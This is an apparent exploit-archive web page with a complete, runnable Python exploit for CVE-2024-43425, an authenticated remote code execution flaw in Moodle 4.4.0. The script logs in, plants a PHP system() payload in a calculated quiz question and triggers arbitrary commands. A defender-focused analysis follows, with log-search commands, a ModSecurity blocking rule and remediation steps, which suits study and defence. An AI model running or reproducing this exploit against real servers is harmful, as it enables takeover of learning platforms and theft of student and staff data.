Moodle 4.4.0 - Authenticated Remote Code Execution

Exploit Author: Likhith Appalaneni Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Python Published Date: 2025-07-02
# Exploit Title: Moodle 4.4.0 - Authenticated Remote Code Execution
# Exploit Author: Likhith Appalaneni
# Vendor Homepage: https://moodle.org
# Software Link: https://github.com/moodle/moodle/releases/tag/v4.4.0
# Tested Version: Moodle 4.4.0
# Affected versions: 4.4 to 4.4.1, 4.3 to 4.3.5, 4.2 to 4.2.8, 4.1 to 4.1.11
# Tested On: Ubuntu 22.04, Apache2, PHP 8.2
# CVE: CVE-2024-43425
# References:
# - https://github.com/aninfosec/CVE-2024-43425-Poc
# - https://nvd.nist.gov/vuln/detail/CVE-2024-43425

import argparse
import requests
import re
import sys
import subprocess
from bs4 import BeautifulSoup
import urllib.parse

requests.packages.urllib3.disable_warnings()

def get_login_token(session, login_url):
    print("[*] Step 1: GET /login/index.php to extract login token")
    try:
        response = session.get(login_url, verify=False)
        if response.status_code != 200:
            print(f"[-] Unexpected status code {response.status_code} when accessing login page")
            sys.exit(1)
    except Exception as e:
        print(f"[-] Error connecting to {login_url}: {e}")
        sys.exit(1)

    soup = BeautifulSoup(response.text, "html.parser")
    token_input = soup.find("input", {"name": "logintoken"})
    if not token_input or not token_input.get("value"):
        print("[-] Failed to extract login token from HTML")
        sys.exit(1)

    token = token_input["value"]
    print(f"[+] Found login token: {token}")
    return token

def perform_login(session, login_url, username, password, token):
    print("[*] Step 2: POST /login/index.php with credentials")
    login_payload = {
        "anchor": "",
        "logintoken": token,
        "username": username,
        "password": password,
    }
    try:
        response = session.post(
            login_url,
            data=login_payload,
            headers={"Content-Type": "application/x-www-form-urlencoded"},
            verify=False,
        )
        if response.status_code not in [200, 303]:
            print(f"[-] Unexpected response code during login: {response.status_code}")
            sys.exit(1)
    except Exception as e:
        print(f"[-] Login POST failed: {e}")
        sys.exit(1)

    if "MoodleSession" not in session.cookies.get_dict():
        print("[-] Login may have failed: MoodleSession cookie missing")
        sys.exit(1)

    print("[+] Logged in successfully.")

def get_quiz_info(session, base_url, cmid):
    print("[*] Extracting sesskey, courseContextId, and category from quiz edit page...")
    quiz_edit_url = f"{base_url}/mod/quiz/edit.php?cmid={cmid}"
    try:
        resp = session.get(quiz_edit_url, verify=False)
        if resp.status_code != 200:
            print(f"[-] Failed to load quiz edit page. Status: {resp.status_code}")
            sys.exit(1)
        # Extract sesskey
        sesskey_match = re.search(r'"sesskey":"([a-zA-Z0-9]+)"', resp.text)
        # Extract courseContextId
        ctxid_match = re.search(r'"courseContextId":(\d+)', resp.text)
        # Extract category
        category_match = re.search(r';category=(\d+)', resp.text)
        if not (sesskey_match and ctxid_match and category_match):
            print("[-] Could not extract sesskey, courseContextId, or category")
            print(resp.text[:1000])
            sys.exit(1)
        sesskey = sesskey_match.group(1)
        ctxid = ctxid_match.group(1)
        category = category_match.group(1)
        print(f"[+] Found sesskey: {sesskey}")
        print(f"[+] Found courseContextId: {ctxid}")
        print(f"[+] Found category: {category}")
        return sesskey, ctxid, category
    except Exception as e:
        print(f"[-] Exception while extracting quiz info: {e}")
        sys.exit(1)

def upload_calculated_question(session, base_url, sesskey, cmid, courseid, category, ctxid):
    print("[*] Step 3: Uploading calculated question with payload...")
    url = f"{base_url}/question/bank/editquestion/question.php"
    payload = "(1)->{system($_GET[chr(97)])}"
    post_data = {
        "initialcategory": 1,
        "reload": 1,
        "shuffleanswers": 1,
        "answernumbering": "abc",
        "mform_isexpanded_id_answerhdr": 1,
        "noanswers": 1,
        "nounits": 1,
        "numhints": 2,
        "synchronize": "",
        "wizard": "datasetdefinitions",
        "id": "",
        "inpopup": 0,
        "cmid": cmid,
        "courseid": courseid,
        "returnurl": f"/mod/quiz/edit.php?cmid={cmid}&addonpage=0",
        "mdlscrollto": 0,
        "appendqnumstring": "addquestion",
        "qtype": "calculated",
        "makecopy": 0,
        "sesskey": sesskey,
        "_qf__qtype_calculated_edit_form": 1,
        "mform_isexpanded_id_generalheader": 1,
        "category": f"{category},{ctxid}",
        "name": "exploit",
        "questiontext[text]": "<p>test</p>",
        "questiontext[format]": 1,
        "questiontext[itemid]": 623548580,
        "status": "ready",
        "defaultmark": 1,
        "generalfeedback[text]": "",
        "generalfeedback[format]": 1,
        "generalfeedback[itemid]": 21978947,
        "answer[0]": payload,
        "fraction[0]": 1.0,
        "tolerance[0]": 0.01,
        "tolerancetype[0]": 1,
        "correctanswerlength[0]": 2,
        "correctanswerformat[0]": 1,
        "feedback[0][text]": "",
        "feedback[0][format]": 1,
        "feedback[0][itemid]": 281384971,
        "unitrole": 3,
        "penalty": 0.3333333,
        "hint[0][text]": "",
        "hint[0][format]": 1,
        "hint[0][itemid]": 812786292,
        "hint[1][text]": "",
        "hint[1][format]": 1,
        "hint[1][itemid]": 795720000,
        "tags": "_qf__force_multiselect_submission",
        "submitbutton": "Save changes"
    }
    try:
        res = session.post(url, data=post_data, verify=False, allow_redirects=False)
        if res.status_code in [302, 303] and "Location" in res.headers and "&id=" in res.headers["Location"]:
            print("[+] Question upload request sent. Extracting question ID from redirect.")
            qid = re.search(r"&id=(\d+)", res.headers["Location"])
            if not qid:
                print("[-] Could not extract question ID from redirect.")
                sys.exit(1)
            return qid.group(1)
        else:
            print(f"[-] Upload failed. Status code: {res.status_code}")
            sys.exit(1)
    except Exception as e:
        print(f"[-] Upload exception: {e}")
        sys.exit(1)

def post_dataset_wizard(session, base_url, question_id, sesskey, cmid, courseid, category, ctxid):
    print("[*] Step 4: Completing dataset wizard with dataset[0]=0")
    wizard_url = f"{base_url}/question/bank/editquestion/question.php?wizardnow=datasetdefinitions"
    data_payload = {
        "id": question_id,
        "inpopup": 0,
        "cmid": cmid,
        "courseid": courseid,
        "returnurl": f"/mod/quiz/edit.php?cmid={cmid}&addonpage=0",
        "mdlscrollto": 0,
        "appendqnumstring": "addquestion",
        "category": f"{category},{ctxid}",
        "wizard": "datasetitems",
        "sesskey": sesskey,
        "_qf__question_dataset_dependent_definitions_form": 1,
        "dataset[0]": 0,
        "synchronize": 0,
        "submitbutton": "Next page"
    }
    try:
        res = session.post(wizard_url, data=data_payload, verify=False)
        if res.status_code == 200:
            print("[+] Dataset wizard POST submitted.")
            return False
        elif "Exception - system(): Argument #1 ($command) cannot be empty" in res.text:
            print("[+] Reached expected error page. Payload is being interpreted.")
            return True
        else:
            print(f"[-] Dataset wizard POST failed with status: {res.status_code}")
            return False
    except Exception as e:
        print(f"[-] Exception during dataset wizard step: {e}")
        return False

def trigger_rce(session, base_url, question_id, category, cmid, courseid, cmd):
    print("[*] Step 5: Triggering command: {cmd}")
    encoded = urllib.parse.quote(cmd)
    trigger_url = (
        f"{base_url}/question/bank/editquestion/question.php?id={question_id}"
        f"&category={category}&cmid={cmid}&courseid={courseid}"
        f"&wizardnow=datasetitems&returnurl=%2Fmod%2Fquiz%2Fedit.php%3Fcmid%3D{cmid}%26addonpage%3D0"
        f"&appendqnumstring=addquestion&mdlscrollto=0&a={encoded}"
    )
    try:
        resp = session.get(trigger_url, verify=False)
        print("[+] Trigger request sent. Output below:\n")
        lines = resp.text.splitlines()
        output_lines = []
        for line in lines:
            if "<html" in line.lower():
                break
            if line.strip():
                output_lines.append(line.strip())

        print("[+] Command output (top lines):")
        print("\n".join(output_lines[:2]) if output_lines else "[!] No output detected.")
    except Exception as e:
        print(f"[-] Error triggering command: {e}")
        sys.exit(1)

def main():
    parser = argparse.ArgumentParser(description="Moodle CVE-2024-43425 Exploit")
    parser.add_argument("--url", required=True, help="Target Moodle base URL")
    parser.add_argument("--username", required=True, help="Moodle username")
    parser.add_argument("--password", required=True, help="Moodle password")
    parser.add_argument("--courseid", required=True, help="Course ID")
    parser.add_argument("--cmid", required=True, help="Course Module ID (Quiz)")
    parser.add_argument("--cmd", required=True, help="Command to execute remotely (e.g., 'whoami' or 'cat /flag')")

    args = parser.parse_args()

    session = requests.Session()

    login_url = f"{args.url.rstrip('/')}/login/index.php"
    token = get_login_token(session, login_url)

    perform_login(session, login_url, args.username, args.password, token)

    sesskey, ctxid, category = get_quiz_info(session, args.url.rstrip('/'), args.cmid)

    question_id = upload_calculated_question(session, args.url.rstrip('/'), sesskey, args.cmid, args.courseid, category, ctxid)

    if not post_dataset_wizard(session, args.url.rstrip('/'), question_id, sesskey, args.cmid, args.courseid, category, ctxid):
        sys.exit(1)

    trigger_rce(session, args.url.rstrip('/'), question_id, category, args.cmid, args.courseid, args.cmd)

if __name__ == "__main__":
    main()


Moodle 4.4.0 — Authenticated Remote Code Execution (CVE-2024-43425): Analysis, Detection, and Mitigation

This article provides a technical, but non-actionable, analysis of the authenticated remote code execution vulnerability tracked as CVE-2024-43425 affecting Moodle 4.4.0 and a range of earlier 4.x releases. It focuses on how the issue works at a high level, the likely impact, how to detect exploitation attempts in production, mitigation and remediation strategies, and recommended post‑incident steps. All exploitative implementation details and reproducible payloads are intentionally omitted — the goal is defender-focused guidance for administrators and security teams.

Quick summary

  • CVE: CVE-2024-43425
  • Affected versions (as reported): 4.4 to 4.4.1, 4.3 to 4.3.5, 4.2 to 4.2.8, 4.1 to 4.1.11
  • Attack vector: Authenticated user with question-editing capabilities (e.g., teacher/manager) abusing the question bank / calculator question handling to cause server-side code execution
  • Impact: Remote code execution on the web server (PHP context), potential data access, and lateral movement
  • Primary action: Apply vendor patch or upgrade to a fixed Moodle release; restrict editor capabilities and monitor logs

High-level vulnerability overview

At a conceptual level this class of vulnerability arises when user-supplied input that should be treated as data is instead processed in a context that causes interpretation or execution — for example the server evaluating an expression or invoking a system call with attacker-controlled input. In the case of CVE-2024-43425, the vector involves the Moodle question bank UI and the “calculated” question dataset/wizard flow. An authenticated user with privileges to create/edit questions can upload or create crafted dataset data which, due to insufficient validation and improper handling, is interpreted in a way that can lead to execution of arbitrary system commands in the PHP runtime.

Importantly, exploitation requires an account with question-editing rights (teacher/manager roles) — this is not a public, unauthenticated remote code execution. Nevertheless, many institutions grant such privileges to multiple staff accounts, so the exposure can still be severe.

Impact and risk scenarios

  • Execution of arbitrary PHP/system commands as the webserver user — attackers can read files accessible to the web process, exfiltrate data, add backdoors, or move laterally.
  • Compromise of student or staff data stored in Moodle (grades, submissions, PII).
  • Ability to create persistent admin-level footholds (e.g., create accounts, change permissions) if the attacker is able to escalate further.
  • Service disruption or defacement, and potential for ransomware deployment if an attacker pivots to other hosts.

Preconditions and attacker profile

  • Attacker must be an authenticated Moodle user with the ability to create or edit quiz/question items (typical roles: teacher, course manager, or site manager).
  • Attacker does not need direct shell/SSH access — exploitation can be carried out over the web interface if the input is processed unsafely.
  • Exploit complexity is moderate: requires understanding of the question editing workflow and interaction with dataset/wizard processing, but a motivated attacker with an account can attempt it.

Detection: log indicators and monitoring guidance

Defensive monitoring should focus on anomalous access patterns around the question editing endpoints and on application or PHP error messages that indicate misuse of underlying functions. Below are specific, practical detection ideas you can apply immediately to your environment. These checks are non‑exploitative and intended for defenders.

# Find occurrences of application errors mentioning system() in webserver or PHP error logs (example)
grep -i "system(): Argument" /var/log/apache2/error.log /var/log/php8*.log

Explanation: The vulnerable processing may produce PHP warnings or exceptions that mention system() when the server-side call is invoked incorrectly. Searching error logs for this pattern can reveal attempted exploit attempts or triggered errors. Adjust paths and filenames for your OS and PHP version.

# Look for suspicious access to question editing endpoints in Apache/Nginx access logs
grep "question/bank/editquestion/question.php" /var/log/apache2/access.log | tail -n 200

Explanation: Exploit attempts target the question bank editing pages. Unexpected POST requests, repeated GETs with unusual query strings, or accesses by non‑teaching accounts are high‑value alerts.

# Quick check for requests containing unusual query parameters or encoded payloads
awk '/question\/bank\/editquestion\/question.php/ {print $0}' /var/log/apache2/access.log | egrep -i "wizard|dataset|a=%|appendqnumstring"

Explanation: This filters access log lines for likely wizard/dataset interactions. Tail and review entries for suspicious client IPs, user agents, and timestamps.

Recommended remediation steps

  • Apply the vendor patch / upgrade immediately: As with any remote execution vulnerability, the highest priority is to update Moodle to a version containing the security fix distributed by the Moodle project. Check Site administration → Notifications and the official Moodle Security Advisories page for the correct patched release for your branch. If you are on an affected branch, schedule an out-of-hours upgrade and test on staging first.
  • Temporarily restrict question editing: If you cannot apply a patch immediately, restrict who can add or edit question types. Limit these capabilities to a small trusted admin set via Site administration → Users → Permissions or by adjusting role capabilities for mod/quiz and question editing plugins.
  • Disable the ‘calculated’ question type (temporary): If feasible and acceptable for course operations, disable or remove the calculated question type from the site until you can patch. You can manage question types via Site administration → Plugins → Question types → Manage question types. Document this change and communicate to teaching staff.
  • Hardening and principle of least privilege: Ensure Moodle runs with the minimum privileges required, that file/directory permissions are correctly set, and that sensitive files (config.php backups, .ini files) are not world-readable.
  • WAF and network filtering: Deploy Web Application Firewall rules to block suspicious requests to question-related endpoints from untrusted source IPs and to rate-limit repeated POSTs to editing endpoints. See the example defensive rule below.
# Example ModSecurity rule (defensive, simple, and generic)
SecRule REQUEST_URI "@contains /question/bank/editquestion/question.php" \
    "id:1000001,phase:1,deny,log,msg:'Blocked suspicious question bank editor request',severity:2"

Explanation: This is a high-level defensive example to demonstrate the approach. It blocks requests targeting the question bank editor URL. Production WAF rules should be tuned carefully to avoid false positives and should include whitelisting for known administrative IPs and detailed logging for further analysis.

Post-compromise response steps (if you suspect exploitation)

  • Immediately isolate the affected host from the network to prevent lateral movement.
  • Preserve logs and take forensic snapshots (disk and memory) to support investigation.
  • Collect webserver access and error logs, Moodle logs (under moodledata and admin/cli logs), and database activity around the suspected timestamps.
  • Rotate all administrator and privileged user passwords, invalidate long‑lived tokens, and review newly created accounts or unexpected role changes.
  • Check for webshells, unexpected scheduled tasks, cron jobs, or new PHP files in the Moodle directory tree and moodledata. Treat findings as indicators of compromise and plan a clean rebuild if required.
  • Restore from a known-good backup if integrity cannot be confidently established, then patch and harden the environment before returning to production.

How to verify your Moodle instance is not vulnerable (non-exploitative)

  • Check the Moodle version in Site administration → Notifications. If your installed version is newer than the fixed release published by Moodle, you have the vendor patch.
  • Apply any available security updates from the Moodle downloads/releases page and follow the official upgrade procedure.
  • Review Moodle security advisories and the CVE entry for recommended fixed versions or backports.

Operational recommendations and best practices

  • Maintain a centralized update policy: test and stage upgrades and deploy security fixes promptly.
  • Limit the number of users granted content-editing capabilities and periodically audit role assignments and capabilities.
  • Enable logging and centralized log collection (SIEM) for Moodle and webserver logs; create alerts for anomalous usage patterns around question editing endpoints.
  • Use strong authentication and MFA for administrative and course-editor accounts where possible.
  • Back up Moodle application files and the database regularly, store backups offline, and test restoration procedures.

Responsible disclosure and where to get help

If you believe you have discovered or been impacted by CVE-2024-43425 in a production environment, notify your internal incident response team and contact the Moodle security team per the vendor’s published disclosure guidelines. Forensic partners or incident response vendors with experience in web application compromise and PHP applications can assist with containment, investigation, and recovery.

Conclusion

CVE-2024-43425 highlights the risk posed by complex input-processing flows in mature web applications: features designed to offer flexibility (dataset wizards, expression evaluation) can become attack surfaces if defensive coding and validation are insufficient. Administrators should prioritize patching vulnerable Moodle branches, limit who can create or edit questions, and maintain robust monitoring controls to detect misuse early. Defensive, non-exploitative log searches, WAF rules, and role hardening provide important short-term protections until vendor patches are applied.